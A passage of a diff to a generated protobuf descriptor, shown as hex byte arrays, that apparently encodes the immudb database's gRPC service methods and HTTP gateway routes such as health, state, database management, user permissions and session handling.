0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, - 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, - 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, - 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, - 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, - 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, - 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, - 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, - 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, - 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, + 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, + 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, + 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, + 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, + 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, - 0x69, 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, - 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, - 0x2a, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, - 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, - 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, - 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, - 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, - 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, + 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, - 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 